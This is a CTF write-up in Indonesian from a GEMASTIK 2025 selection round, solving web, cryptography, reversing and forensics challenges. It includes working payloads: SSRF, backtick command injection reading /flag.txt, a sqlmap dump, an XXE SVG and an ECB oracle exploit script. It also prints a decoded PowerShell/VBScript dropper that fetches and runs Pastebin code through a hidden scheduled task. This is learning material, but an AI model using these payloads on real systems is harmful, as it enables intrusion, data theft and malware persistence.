# Writue UP Seleksi GEMASTIK TELKOM 2025 PIKIR POLA **<center>Pikir Pola</center>** ![image](https://hackmd.io/_uploads/SkKBX2iPge.png) ### Worked by - Zaidan Kamil Munadi - Achmad Rafi Dwiyandar - Abdul Jabbar Hawali Al Dzahabi Category <a href="#Web"> Web </a> * <a href="#1"> Fetcher </a> * <a href="#8"> Nslookup </a> * <a href="#9"> GaG Wiki </a> * <a href="#11"> SVG Viewer </a> <a href="#Cryptography"> Cryptography </a> * <a href="#3"> Smoll E </a> * <a href="#4"> ECB </a> <a href="#Sanity-Check"> Sanity Check </a> * <a href="#21"> Misc </a> <a href="#Reversing"> Reversing </a> * <a href="#2"> Lua </a> <a href="#Forensic"> Forensic </a> * <a href="#18"> Wannabe Malware </a> * <a href="#12"> Invoice </a> ## <a id=Web> Web </a> ### <center><a id="1"> Fetcher </a></center> <center>100</center> <center>Can you access my `/flag` ? >:) http://117.53.47.247:10001 *Author: Morre*</center> ๐Ÿ“– Deskripsi Tantangan Sebuah aplikasi web Flask diberikan. Endpoint `/flag` hanya dapat diakses jika permintaan datang dari `127.0.0.1` (localhost). Namun, tersedia juga endpoint `/fetch` yang bisa digunakan untuk meminta URL tertentu, dan server akan mengambil konten dari URL tersebut. Tujuan kita adalah: > Mendapatkan flag dari `/flag` yang hanya bisa diakses oleh server itu sendiri (localhost). ๐Ÿ” Source Code Analisis ### Endpoint: `/fetch` ```python @app.route("/fetch", methods=["GET"]) def fetch(): url = request.args.get("url") if not url: return "No URL provided", 400 if urlparse(url).hostname in ["localhost", "127.0.0.1"]: return "Forbidden", 403 response = requests.get(url) return Response(response.content) ``` dan saya langsung akses menggunakan payload seperti ini http://117.53.47.247:10001/fetch?url=http://127.000.000.001:5000/flag ![image](https://hackmd.io/_uploads/SkTPNijPlg.png) dan kita mendapatkan flagnya **Flag :foresty{__r_u_the_next_cve_hunter_a8cdaf}** --- ### <center><a id="8"> Nslookup </a></center> <center>175</center> <center>Flag is in `/flag.txt` http://117.53.47.247:10003/ *Author: bl33dz*</center> ### ๐Ÿง  Analisis Awal API menerima permintaan POST ke endpoint `/nslookup` dengan JSON payload seperti berikut: ```json { "domain": "example.com" } ``` Respons server akan mengembalikan hasil dari perintah nslookup terhadap domain yang diberikan. ``` cat /flag.txt` ``` ### ๐Ÿ”’ Blacklist Filter Berdasarkan pengujian, karakter berbahaya seperti & ; | $ ( ) dan sejenisnya diblokir. Namun, karakter backtick ` tidak termasuk dalam blacklist, yang menjadi kunci utama eksploitasi ini. ### โš™๏ธ Eksploitasi Tujuan: memanfaatkan celah Command Injection untuk mengeksekusi perintah shell cat /flag.txt. dan ketika dianalisis tantangan ini sama seperti tantangan fetcher yaitu dapat mengambil file dalam ip local โŒ Payload Gagal: ```bash cat /flag.txt` ``` Respon: {"error":"Invalid or unresolvable domain"} Kenapa gagal? Karena domain hasil substitusi (foresty{...}) bukan domain valid yang dapat di-resolve. maka dari itu saya coba menggunakan curl ```bash curl -X POST http://117.53.47.247:10003/nslookup \ -H "Content-Type: application/json" \ -d '{"domain":"`cat /flag.txt`.127.0.0.1.nip.io"}' ``` ![image](https://hackmd.io/_uploads/H1A3Osiweg.png) dan kita mendapatkan flagnya **Flag : foresty{54fb3ec7adecdcb1930ef0528366b98e}** --- ### <center><a id="9"> GaG Wiki </a></center> <center>375</center> <center>Author addicted to playing `Grow A Garden` http://117.53.47.247:10002/ Mirror: https://gag-wiki.bgz.app/ *Author: bl33dz*</center> ### ๐Ÿง  Deskripsi Awal dalam tantangan ini kita diberikan halaman biasa yang berisi artikel artikel yang dapat dibaca. ### ๐Ÿ”Ž Langkah 1: Rekon Manual saya mencoba search biasa dengan karakter a,ketika saya enter saya melihat parameter url yang berbeda dan mendapatkan parameter `search?q=` ketika saya melihat endpoint ini saya coba sql injection dan saya masukkan ' halaman tersebut tidak memunculkan apa apa maka terbukti terindikasi dapat diserang dengan sql injection. ### โš™๏ธ Eksploitasi lalu tanpa pikir panjang saya menggunakan tools bernama sqlmap untuk mengexploitasi secara otomatis dengan perintah ```bash sqlmap -u "https://gag-wiki.bgz.app/search?q=a%27" --dbs --dump ``` dan saya mendapatkan flagnya **Flag : foresty{7bcb6131d0c9f5e4e7e52f50073eeefd}** --- ### <center><a id="11"> SVG Viewer </a></center> <center>400</center> <center>Is this really `blackbox`? http://117.53.47.247:10004/ *Author: bl33dz*</center> ### ๐Ÿงฉ Deskripsi Tantangan Situs hanya menampilkan halaman login dengan satu field `password`. Tidak ada form `username`, tidak ada petunjuk langsung. Tantangannya juga memberi judul `SVG Viewer`, menandakan bahwa kemungkinan besar akan ada manipulasi file SVG setelah login. ## ๐Ÿ› ๏ธ Langkah Penyelesaian ### ๐Ÿ” 1. **Enumerasi Direktori dengan `dirsearch`** ```kali dirsearch -u http://117.53.47.247:10004/ ``` Ditemukan beberapa path penting: ```kali 200 - /.git/HEAD 200 - /.git/config 200 - /.git/logs/HEAD 200 - /.git/index 302 - /dashboard.php โ†’ index.php ``` >๐Ÿ“Œ Kesimpulan: .git/ repo di server terbuka sebagian (bisa diakses file-filenya), artinya kita bisa coba dump source code aslinya. ### ๐Ÿ“ฅ 2. Dump .git Folder untuk Ambil Source Code dan saya coba dump file .git meggunakan GitTools ```bash git clone https://github.com/internetwache/GitTools.git cd GitTools/Dumper ./gitdumper.sh http://117.53.47.247:10004/.git/ ./dumped-svgviewer ``` setelah selesai lanjut kita ekstrak menggunakan extractor ```bash cd GitTools/Extractor ./exctractor.sh GitTools/Dumper/dumped-svgviewer dump ``` ketika selesai di ekstrak kita mendapatkan file `dashboard.php,index.php,.env dan direktori uploads` diberikan informasi pada index.php untuk bisa mengakses dashboard.php harus menggunakan password yang ada dalam file `.env` jikda tidak ada file `.env` maka pakai password `"defaultpass"` tetapi karena ada maka password tersebut invalid maka saya buka file `.env` ![image](https://hackmd.io/_uploads/HyaLZhsvee.png) maka kita dapat password nya yaitu `PASSWORD=made-in-heaven-by-bl33dz` dan kita dapat masuk kedalam halaman dashboard.php ![image](https://hackmd.io/_uploads/H1KTb2ovxg.png) untuk dapat memunculkan flagnya saya membuat file `.xml` seperti ini ```bash <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///flag.txt"> ]> <svg xmlns="http://www.w3.org/2000/svg"> <title>&xxe;</title> </svg> ``` dan saya upload file xml tersebut dan kita dapat flagnya ![image](https://hackmd.io/_uploads/rk3BMnivll.png) **Flag : foresty{670ef0276339a9989da10a47d46a6115}** --- ## <a id=Cryptography> Cryptography </a> ### <center><a id="3"> Smoll E </a></center> <center>100</center> <center> *Author: Morre*</center> --- ### Peserta diberikan dua file `main.py` yang berisi skema enkripsi menggunakan RSA. `output.txt` yang berisi dua variabel penting N dan c. Ya langsung saja kita menggunakan solver untuk menyelesaikan tantangan ini menggunakan ular. ```python= from Crypto.Util.number import long_to_bytes # Nilai ciphertext (c) dari output.txt c = 412727686687568053836090549395346037564608244751491332216198299268868416429311774624619410123725671942892447329673662081689411311814846410186533456103082061124156561960056849174300572069902751081200768133091808889923119999760407307409461053380977052954253469308777481618955570514594038684011595811556361060868461076251422935320196293985747642383455217099232843003601421283687579282697173417661423368859907969125 # Fungsi akar pangkat tiga integer (menghindari floating point) def iroot3(n): low = 0 high = n while low < high: mid = (low + high) // 2 if mid**3 < n: low = mid + 1 else: high = mid if low**3 == n: return low else: raise ValueError("Akar pangkat 3 tidak bulat sempurna") # Hitung akar pangkat 3 dari c try: m = iroot3(c) flag = long_to_bytes(m) print("Flag ditemukan:") print(flag.decode()) # coba decode sebagai UTF-8 except Exception as e: print("Gagal:", e) ``` Tinggal di run aja udah dapat deh flagnya. `Flag ditemukan: foresty{__basic_rsa_w/_smoll_exponent__who_cares?_1fafc9}` Flag : *foresty{__basic_rsa_w/_smoll_exponent__who_cares?_1fafc9}* --- ### <center><a id="4"> ECB </a></center> <center>200</center> <center>`nc 117.53.47.247 30002` *Author: Morre*</center> **๐Ÿง  Challenge Summary** * Kita diberi script Python yang melakukan enkripsi AES-ECB. * Enkripsi dilakukan terhadap input dari user yang ditempeli FLAG di belakang, lalu dipad dan dienkripsi. * Mode enkripsi adalah AES dalam ECB mode yang rentan terhadap chosen-plaintext attack. * Kita hanya bisa mengakses fungsi encrypt() melalui input dan output hex dari ciphertext. ****๐Ÿ”Ž Source Code**** ``` #!/usr/bin/python3 from Crypto.Cipher import AES from Crypto.Random import get_random_bytes from Crypto.Util.Padding import pad SECRET_KEY = get_random_bytes(16) FLAG = open("flag.txt", "rb").read() BLOCK_SIZE = 16 def encrypt(data: bytes) -> bytes: """ Encrypts the provided data using AES in ECB mode. Pads the data to ensure it is a multiple of the block size. """ cipher = AES.new(SECRET_KEY, AES.MODE_ECB) padded = pad(data + FLAG, BLOCK_SIZE) return cipher.encrypt(padded) def display_menu() -> str: """ Displays the menu options and retrieves the user's choice. """ print("Options:") print(" [1] Encrypt") print(" [2] Exit") return input("Enter your choice: ").strip() def handle_encryption() -> None: """ Handles the encryption process by taking user input, encrypting it, and displaying the result. """ try: user_message = input("Enter your message: ").encode() encrypted_message = encrypt(user_message) print(f"Encrypted: {encrypted_message.hex()}") except Exception as e: print(f"Error: {e}") def main() -> None: """ Main function that runs the Adikara Encryption System. """ print("== ECB ==") while True: choice = display_menu() if choice == "1": handle_encryption() elif choice == "2": print("Goodbye!") break else: print("Invalid choice! Please try again.") if __name__ == "__main__": main() ``` Diketahui data yang dikirim user akan digabungkan dengan FLAG (data + FLAG). kemudian Sistem akan mengecek input, lalu menampilkan hasil enkripsi dalam format hex. **๐Ÿ“š Konsep Eksploitasi** AES-ECB Weakness: * ECB mengenkripsi per-block (16 byte) tanpa randomisasi. * Jika plaintext blocks-nya sama, maka ciphertext blocks-nya juga identik. * Kita bisa menyusun input sedemikian rupa agar flag muncul dalam posisi block yang bisa dicocokkan dan ditebak byte per byte. **๐ŸŽฏ Tujuan** Membaca isi file flag.txt byte demi byte menggunakan chosen-plaintext attack (byte-at-a-time ECB decryption). **๐Ÿงช Langkah-langkah Attack** * Kirim plaintext seperti "A" * 15, supaya flag byte pertama berada di akhir block pertama. * Enkripsi block tersebut โ†’ jadikan target block. * Kirim plaintext "A" * 15 + X untuk semua X dari charset, dan cari ciphertext yang sama persis dengan target block. * Jika cocok โ†’ kita tahu byte pertama dari flag = X. * Ulangi dengan "A" * 14, "A" * 13, dll, untuk menebak seluruh isi flag. **๐Ÿ› ๏ธ Exploit Script** ``` from pwn import * import string # Gunakan koneksi ke server r = remote("117.53.47.247", 30002) BLOCK_SIZE = 16 charset = string.printable.encode() known_flag = b"" def get_cipher(user_input: bytes) -> bytes: r.sendlineafter(b"Enter your choice:", b"1") r.sendlineafter(b"Enter your message:", user_input) r.recvuntil(b"Encrypted: ") return bytes.fromhex(r.recvline().strip().decode()) while True: pad_len = BLOCK_SIZE - (len(known_flag) % BLOCK_SIZE) - 1 prefix = b"A" * pad_len target_block_index = len(known_flag) // BLOCK_SIZE # Get the target block from encrypted(prefix) ref_cipher = get_cipher(prefix) ref_block = ref_cipher[target_block_index * BLOCK_SIZE:(target_block_index + 1) * BLOCK_SIZE] found = False for c in charset: guess = prefix + known_flag + bytes([c]) test_cipher = get_cipher(guess) test_block = test_cipher[target_block_index * BLOCK_SIZE:(target_block_index + 1) * BLOCK_SIZE] if test_block == ref_block: known_flag += bytes([c]) print(f"[+] Found byte: {bytes([c])} โ†’ {known_flag}") found = True break if not found: print("[!] Decryption complete or failed.") break print(f"\n[๐ŸŽ‰] Final Recovered Flag: {known_flag.decode(errors='ignore')}") ``` Tinggal di run dan tunggu beberapa saat sampai selesai, flag ditemukan. **Flag : foresty{ecb_doang_ez_lah_ya_bang_27af9d} ** --- ## <a id=Sanity-Check> Sanity Check </a> ### <center><a id="21"> Misc </a></center> <center>100</center> <center>`foresty{good_luck_and_have_fun!}`</center> ### Ya seperti yang sudah dilihat, flagnya ada di deskripsi jadi langsung aja di submit. **Flag : foresty{good_luck_and_have_fun!}** --- ## <a id=Reversing> Reversing </a> ### <center><a id="2"> Lua </a></center> <center>125</center> <center> *Author: Morre*</center> ## Tantangan ini menyediakan sebuah file `luac.out`, yang merupakan hasil kompilasi dari skrip Lua. Setelah itu langsung saja di decompile `java -jar unluac_2023_12_24.jar luac.out > source.lua`, lalu baca code source.lua dan saya menemukan kata yang dicurigai. ``` "gmqavr~sLPT`xoPttq|ye\x7f{}FxisBx~\x18\x40\x1b\x11Y" ``` Kemudian saya mencoba decrypt menggunakan solver ini. ```python= # Encrypted flag hasil dari source.lua encrypted = b"gmqavr~sLPT`xoPttq|ye\x7f{}FxisBx~\x18\x40\x1b\x11Y" # Dekripsi berdasarkan logika: chr(ord(char) ^ (i+1)) decrypted = "" for i, c in enumerate(encrypted): decrypted += chr(c ^ (i + 1)) print("Flag:", decrypted) ``` Setelah itu berhasil mendapatkan flag, yeayyy. **Flag : foresty{EZ_lua_decompile_bro_fa8a92} ** --- ## <a id=Forensic> Forensic </a> ### <center><a id="18"> Wannabe Malware </a></center> <center>175</center> <center>This is not a malware!!! Author: **OwanKanobae**</center> ## Diberikan sebuah file bernama `wannabe_malware.pdf` yang berisi: > Wannabe Malware <3 > > Pieces are reversed and hidden. > Reconstruct the base64 parts to find the real flag. Tujuan utama kita disini adalah konstruksi ulang strings enkripsi base64 untuk menemukan sebuah flag. oke karena sudah tau tujuannya saya memakai tools pdf-parser untuk melihat struktur pdfnya. Hasil menunjukkan adanya objek PDF yaitu: obj 10 0: Memuat /S /JavaScript Isi dari JavaScript di dalam obj 10 0 adalah string yang di-escape: ``` '(\\012\\050function\\050\\051\\040\\173\\012\\040\\040\\040\\040function\\040rev\\050s\\051\\040\\173\\040return\\040s\\056split\\050\\047\\047\\051\\056reverse\\050\\051\\056join\\050\\047\\047\\051\\073\\040\\175\\012\\040\\040\\040\\040var\\040a\\040\\075\\040\\042bOtXe0NXZy9mZ\\042\\073\\012\\040\\040\\040\\040var\\040b\\040\\075\\040\\0421MzM3XV9Wefd3\\042\\073\\012\\040\\040\\040\\040var\\040c\\040\\075\\040\\042gDNyEDM58VZN9\\042\\073\\012\\040\\040\\040\\040var\\040d\\040\\075\\040\\042\\07503X1AjM5QjM1\\042\\073\\012\\040\\040\\040\\040var\\040xy\\040\\075\\040rev\\050a\\051\\073\\012\\040\\040\\040\\040var\\040y\\040\\075\\040rev\\050b\\051\\040\\053\\040rev\\050c\\051\\073\\012\\040\\040\\040\\040var\\040z\\040\\075\\040rev\\050d\\051\\073\\012\\040\\040\\040\\040var\\040x1\\040\\075\\040atob\\050xy\\040\\053\\040y\\040\\053\\040z\\051\\073\\012\\040\\040\\040\\040var\\040x2\\040\\075\\040rev\\050x1\\051\\012\\040\\040\\040\\040var\\040wz\\040\\075\\040rev\\050x2\\051\\012\\040\\040\\040\\040this\\056hide\\040\\075\\040xy\\040\\053\\040y\\040\\053\\040z\\073\\012\\175\\051\\050\\051\\073\\012)' ``` lalu jika didecode menjadi skrip berikut: ``` (function() { function rev(s) { return s.split('').reverse().join(''); } var a = "bOtXe0NXZy9mZ"; var b = "1MzM3XV9Wefd3"; var c = "gDNyEDM58VZN9"; var d = "=03X1AjM5QjM1"; var xy = rev(a); var y = rev(b) + rev(c); var z = rev(d); var x1 = atob(xy + y + z); var x2 = rev(x1); var wz = rev(x2); this.hide = xy + y + z; })(); ``` Untuk memahami data yang sebenarnya, JavaScript ini saya translasikan ke Python: ``` import base64 def rev(s): return s[::-1] a = "bOtXe0NXZy9mZ" b = "1MzM3XV9Wefd3" c = "gDNyEDM58VZN9" d = "=03X1AjM5QjM1" xy = rev(a) y = rev(b) + rev(c) z = rev(d) combined = xy + y + z print(f"[+] Gabungan (Base64): {combined}") decoded = base64.b64decode(combined).decode(errors='ignore') print(f"[+] Setelah base64 decode: {decoded}") reversed_decoded = rev(decoded) print(f"[+] Setelah dibalik lagi: {reversed_decoded}") ``` jalankan, maka kita akan mendapatkan flagnya **Flag : foresty{Now_yoU_s33_Me_9012485249205_}** --- ### <center><a id="12"> Invoice </a></center> <center>300</center> <center>Note: `Do NOT run any scripts unless you fully understand their behavior.` *Author: bl33dz*</center> ### Peserta diberikan sebuah file bernama invoice.eml. Setelah dibuka, file tersebut menampilkan isi email. Di dalamnya terdapat sebuah attachment yang bisa diunduh. Setelah saya unduh, ternyata isinya adalah file HTML. Ketika file HTML tersebut dibuka, secara otomatis mendownload file invoice.zip. Di dalam ZIP tersebut terdapat satu file JavaScript (.js). Saya menemukan banyak variabel dengan nama qrsw0 hingga qrsw50. ![WhatsApp Image 2025-08-02 at 23.19.17_56e8e36a](https://hackmd.io/_uploads/r1GqyTjDex.jpg) Di bagian bawah script terlihat bahwa variabel-variabel tersebut digabungkan dengan cara qrsw0 + qrsw1 + ... + qrsw50. Maka dari itu, saya langsung menggabungkan seluruh potongan string tersebut menjadi satu dan mencoba untuk men-decrypt isi hasil gabungannya. ```python= import base64 full_b64_string = "LgAgACgAIAAoAFsAUwB0AHIASQBOAGcAXQAkAFYAZQBSAEIATwBTAEUAcABSAGUARgBFAFIARQBuAGMAZQApAFsAMQAsADMAXQArACcAeAAnAC0AagBvAEkAbgAnACcAKQAgACgAIABbAHMAdABSAGkAbgBnAF0AOgA6AGoATwBpAE4AKAAgACcAJwAsACgAWwBSAGUARwBlAFgAXQA6ADoAbQBhAHQAYwBIAEUAcwAoACAAIgBYAGUASQAgAHwAIAApADYAMwBdAFIAQQBIAEMAWwAsACkANgAwADEAXQBSAEEASABDAFsAKwAzADEAMQBdAFIAQQBIAEMAWwArADYANQBdAFIAQQBIAEMAWwAoAGUAQwBhAGwAUABlAFIALQAgADYAOQBdAFIAQQBIAEMAWwAsACcAeQAzAGEAJwAgACAARQBDAEEAbABwAEUAUgBDAC0AIAAgADIAOQBdAFIAQQBIAEMAWwAsACkAMQA1AF0AUgBBAEgAQwBbACsAOAA4AF0AUgBBAEgAQwBbACsAMgAyADEAXQBSAEEASABDAFsAKAAgAEUAQwBBAGwAcABFAFIAQwAtACAANAAyADEAXQBSAEEASABDAFsALAAnAEMAMwBMACcARQBDAEEAbABwAEUAUgBDAC0AIAA0ADMAXQBSAEEASABDAFsALAAnAHIAdQBQACcAZQBDAGEAbABQAGUAUgAtACkAJwBzAGcAbgBpAHQAdABlAHMAagAnACsAJwBxADgAIABzAGcAbgBpAHQAdABlAFMALQAgAHIAZQBnAGcAYQBpACsAJwByAHQAagBxADgAIAByAGUAZwBnAGkAJwArACcAcgBUAC0AIABuAG8AaQB0AGMAYQBqAHEAOAAgAG4AbwBpAHQAYwBBAC0AIABlAG0AYQBOAGsAcwBhAHQAagBxADgAIABlAG0AYQBOACcAKwAnAGsAcwBhAFQALQAgAGsAcwBhAFQAZABlAGwAdQBkAGUAaABjAFMALQByAGUAdABzAGkAZwBlAFIACgAgAAoAIAAKAG4AZQBkAGQAaQBIAC0AIABzAGUAaQByAGUAdAB0AGEAQgBuAE8AZgBJAHQAcgBhAHQAUwB3AG8AbABsAEEALQAgAHQAZQBTAHMAZwBuAGkAdAB0AGUAUwBrAHMAYQBUAGQAZQBsAHUAZABlAGgAYwBTAC0AJwArACcAdwBlAE4AIAA9ACAAcwBnAG4AaQB0AHQAJwArACcAZQBzAGoAcQA4AAoAIAAKACkAMQAoAHMAZQB0AHUAbgBpAE0AZABkAEEALgApAGUAdABhAEQALQB0AGUARwAoACAAdABBAC0AIABlAGMAbgBPAC0AIAByAGUAZwBnAGkAcgBUAGsAcwBhAFQAZABlAGwAdQBkAGUAaAAnACsAJwBjAFMALQB3AGUATgAgAD0AIAByAGUAZwBnAGkAcgB0AGoAcQA4AAoAIAAKAHIAdQBQAHIAdQBQAHkAMwBhAGgAdABhAFAAcwBiAHYAagBxADgAcgB1AFAAeQAzAGEAcgB1AFAAIAB0AG4AZQBtAHUAZwByAEEALQAgAHIAdQBQAGUAeABlAC4AdABwAGkAcgBjAHMAdwByAHUAUAAgAGUAdAB1AGMAZQB4AEUALQAgAG4AbwBpAHQAYwBBAGsAcwBhAFQAZABlAGwAdQBkAGUAaABjAFMALQB3AGUATgAgAD0AIABuAG8AaQB0AGMAYQBqAHEAOAAKACAACgByAHUAUAApADkAOQA5ADkAIABtAHUAbQBpAHgAYQBNAC0AIAAwADAAMAAxACAAbQB1AG0AaQBuAGkATQAtACAAbQBvAGQAbgBhAFIALQB0AGUARwAoAGoAcQA4AF8AcgBlAHQAJwArACcAYQAnACsAJwBkAHAAVQByAHUAUAAgAD0AIABlAG0AYQBOAGsAcwBhAHQAagBxADgACgAgAAoAawBzAGEAdAAgAGUAaAB0ACAAZQBsAHUAZABlAGgAYwBTACAAIwAKACAACgAgAAoAaAB0AGEAUABzAGIAdgBqAHEAOAAgAGgAdABhAFAALQAgAEkASQBDAFMAQQAgAGcAbgBpACcAKwAnAGQAbwBjAG4ARQAtACAAdABuAGUAdABuAG8AQwAtAHQAZQBTACAAQwAzAEwAIABzAGIAdgBqAHEAJwArACcAOAAKACAACgByAHUAUABzAGIAdgAuAGUAYwBuAG8AbgB0AHIAMwBYAHoAQQBUAEEARABQAFAAQQA6AHYAbgBlACcAKwAnAGoAcQA4AHIAdQBQACAAPQAgAGgAdABhAFAAcwBiAHYAagBxADgACgAgAAoAQAByAHUAUAAKACAACgAwACAALAByAHUAUAApAHAATAA2AHIAVQAnACsAJwBRADAATAAvAHcAYQByAC8AbQBvAGMALgBuAGkAYgBlAHQAcwBhAHAAJwArACcALwAvADoAcwBwAHQAdABoACAAYgBlAHMAdQAtACAAcgB3AGkAKAB4AGUAaQAgAG4AZQBkAGQAaQBoACAAZQBsAHkAdABzAHcAbwBkAG4AaQB3AC0AIABzAHMAYQBwAHkAYgAgAGMAZQB4AGUALQAgAGUAeABlAC4AJwArACcAbABsAGUAaABzAHIAZQB3AG8AcAByAHUAUAAgAG4AdQBSAC4AcwAKACAACgApAHIAdQBQAGwAbABlAGgAUwAuAHQAcABpAHIAYwBTAFcAcgB1AFAAKAB0AGMAZQBqAGIATwBlAHQAYQBlAHIAQwAgAD0AIABzACAAdABlAFMACgAgAAoAcgB1AFAAQAAgAD0AIABzAGIAdgBqAHEAOAAKACAACgAnACsAJwAKAH0ACgAgAAoAcgB1AFAAZwBhAGwAZgBqAHEAOAAgADoAZABlAHIAZQB2AG8AYwBlAFIAcgB1ACcAKwAnAFAAIAB0AHMAbwBIAC0AZQB0AGkAcgBXACAAIAAgACAACgAgAAoAewAgACkAcgB1AFAAegBkADMAMwBsAGIAcgB1AFAAIABxAGUALQAgAEUATQBBAE4AUgBFAFMAVQA6AHYAbgBlAGoAcQAnACsAJwA4ACgAIABmAGkACgAgAAoAIAAKADUANQB4ADAAIABzAGUAdAB5AEIAZwBhAGwAZgBqAHEAOAAgAHQAcAB5AHIAYwBlAGQAXwByAG8AeAAgAD0AIABnAGEAbABmAGoAcQA4AAoAIAAKACkAYQAwAHgAMAAsADEAMwB4ADAAJwArACcALABjADMAeAAwACwANQAyAHgAMAAsADUANgB4ADAALAA1ADYAeAAwACwAMQAyAHgAMAAsADYAMgB4ADAALABlADIAeAAwACwAYwAyAHgAMAAsADEAMgB4ADAALAA2ADIAeAAwACwAMAAzAHgAMAAsADcAMgB4ADAALABhADMAeAAnACsAJwAwACwAMwAzACcAKwAnAHgAMAAoAF0AXQBbAGUAdAB5AGIAWwAgAD0AIABzAGUAdAB5AEIAZwBhAGwAZgBqAHEAOAAKACAACgAgAAoAfQAKACAACgApAGEAdABhAGQAagBxADgAKABnAG4AaQByAHQAUwB0AGUARwAuAEkASQBDAFMAQQA6ADoAXQBnAG4AaQBkAG8AYwBuAEUALgB0ACcAKwAnAHgAZQBUAC4AbQBlAHQAcwB5AFMAWwAgAG4AcgB1ACcAKwAnAHQAZQByACAAIAAgACAACgAgAAoAfQAgACAAIAAgAAoAIAAKACkAeQBlAGsAagBxADgAIAByAG8AeABiAC0AIABdAGkAagBxADgAWwBhAHQAYQBkAGoAcQA4ACgAIAA9ACAAXQBpAGoAcQA4AFsAYQB0AGEAZABqAHEAOAAgACAAIAAgACAAIAAgACAACgAgAAoAewAgACkAKwArAGkAjAGoAcQA4ACAAnACsAJwA7AGgAdABnAG4AZQBMAC4AYQB0AGEAZABqAHEAOAAgAHQAbAAtACAAaQBqAHEAOAAgADsAMAAgAD0AIABpAGoAcQA4ACgAIAByAG8AZgAgACAAIAAgAAoAIAAKAHsAIAApAHkAZQBrAGoAcQA4ACAALABhAHQAYQBkAGoAcQA4ACgAIAB0AHAAeQByAGMAZQBkAF8AcgBvAHgAIABuAG8AaQB0AGMAbgB1AGYACgAgAAoAIAAKAHQAcwBlAHQAYQBMACAAbgBvAGkAcwByAGUAVgAtACAAZQBkAG8ATQAnACsAJwB0AGMAaQByAHQAUwAtAHQAZQBTACcAKAAoACAAIgAgACwAJwAuACcAIAAsACAAJwBSAEkAZwBIAFQAJwArACcAdABPAEwAJwArACcAZQBGAFQAJwAgACkAIAB8ACAAZgBPAHIAZQBhAEMASAAtAG8AQgBqAEUAQwBUAHsAIAAkAF8ALgBWAEEATAB1AGUAIAB9ACAAKQApACkAIAAKAA" # Decode dari Base64, lalu decode hasilnya dari UTF-16LE ke string biasa decoded_bytes = base64.b64decode(full_b64_string) decoded_script = decoded_bytes.decode('utf-16-le') # --- PERUBAHAN DI SINI --- # Alih-alih print(), kita tulis ke file dengan encoding utf-8 yang aman try: with open("hasil_decode.txt", "w", encoding="utf-8") as f: f.write(decoded_script) print("--- Skrip PowerShell berhasil di-decode! ---") print("Hasilnya telah disimpan di file bernama: hasil_decode.txt") except Exception as e: print(f"Gagal menyimpan file: {e}") ``` Setelah hasilnya disimpan di hasil_decode.txt saya melihat isinya belum bisa terbaca seperti tercemin, saya coba ubah agar bisa dibaca dan dapat hasilnya seperti ini. ``` $8qjflagBytes = [byte[]](0x33,0x3a,0x27,0x30,0x26,0x21,0x2c,0x2e,0x26,0x21,0x65,0x65,0x25,0x3c,0x31,0x0a) $8qjflag = xor_decrypt $8qjflagBytes 0x55 if ($env:USERNAME -eq "Purbl33dzPur") { Write-Host "PurRecovered: $8qjflag" } $8qjvbs = @" Set s = CreateObject("WScript.Shell") s.Run "powershell.exe -exec bypass -windowstyle hidden (iex(iwr -useb https://pastebin.com/raw/L0QUr6Lp))", 0 "@ $8qjvbsPath = "$env:APPDATA\zX3rtnonce.vbs" Set-Content -Encoding ASCII -Path $8qjvbsPath -Value $8qjvbs # Schedule the task $8qjtaskName = "Updater_8qj$(Get-Random -Minimum 1000 -Maximum 9999)" $8qjaction = New-ScheduledTaskAction -Execute "wscript.exe" -Argument "a3y$8qjvbsPatha3y" $8qjtrigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) $8qjsettings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden Register-ScheduledTask -TaskName $8qjtaskName -Action $8qjaction -Trigger $8qjtrigger -Settings $8qjsettings ``` Sekarang waktunya decrypt menggunakan solver lagi. ```python= def xor_decrypt(cipher_bytes, key_byte): return bytes([b ^ key_byte for b in cipher_bytes]) cipher_bytes = bytes([ 0x33, 0x3a, 0x27, 0x30, 0x26, 0x21, 0x2c, 0x2e, 0x26, 0x21, 0x65, 0x65, 0x25, 0x3c, 0x31, 0x0a ]) key = 0x55 decrypted = xor_decrypt(cipher_bytes, key) print("Decrypted (as text):", decrypted.decode(errors='replace')) ``` Ternyata dari sini belum cukup untuk mendapatkan flagnya karena masih sebagian saja dari flag. Outputnya adalah `foresty{st00pid_`. Saya balik ke step sebelumnya dan curiga dengan `https://pastebin.com/raw/L0QUr6Lp` langsung searching di google dan ya saya menemukan sebuah potongan kode dalam bentuk VBScript yang menggunakan fungsi Chr() untuk membentuk string ASCII. ``` Dim a, b, c, d a = Chr(116) & Chr(104) & Chr(114) & Chr(51) b = Chr(52) & Chr(116) & Chr(95) & Chr(97) c = Chr(99) & Chr(116) & Chr(111) & Chr(114) d = Chr(95) & Chr(54) & Chr(102) & Chr(49) & Chr(56) & Chr(97) & Chr(53) & Chr(125) MsgBox a & b & c & d ``` Setelah saya translasikan seluruh bagian tersebut ke dalam plaintext, hasil yang muncul dari MsgBox adalah `thr34t_actor_6f18a5}`. Digabungkan dengan flag part 1 maka jadi seperti ini `foresty{st00pid_thr34t_actor_6f18a5}` **Flag : foresty{st00pid_thr34t_actor_6f18a5}** ---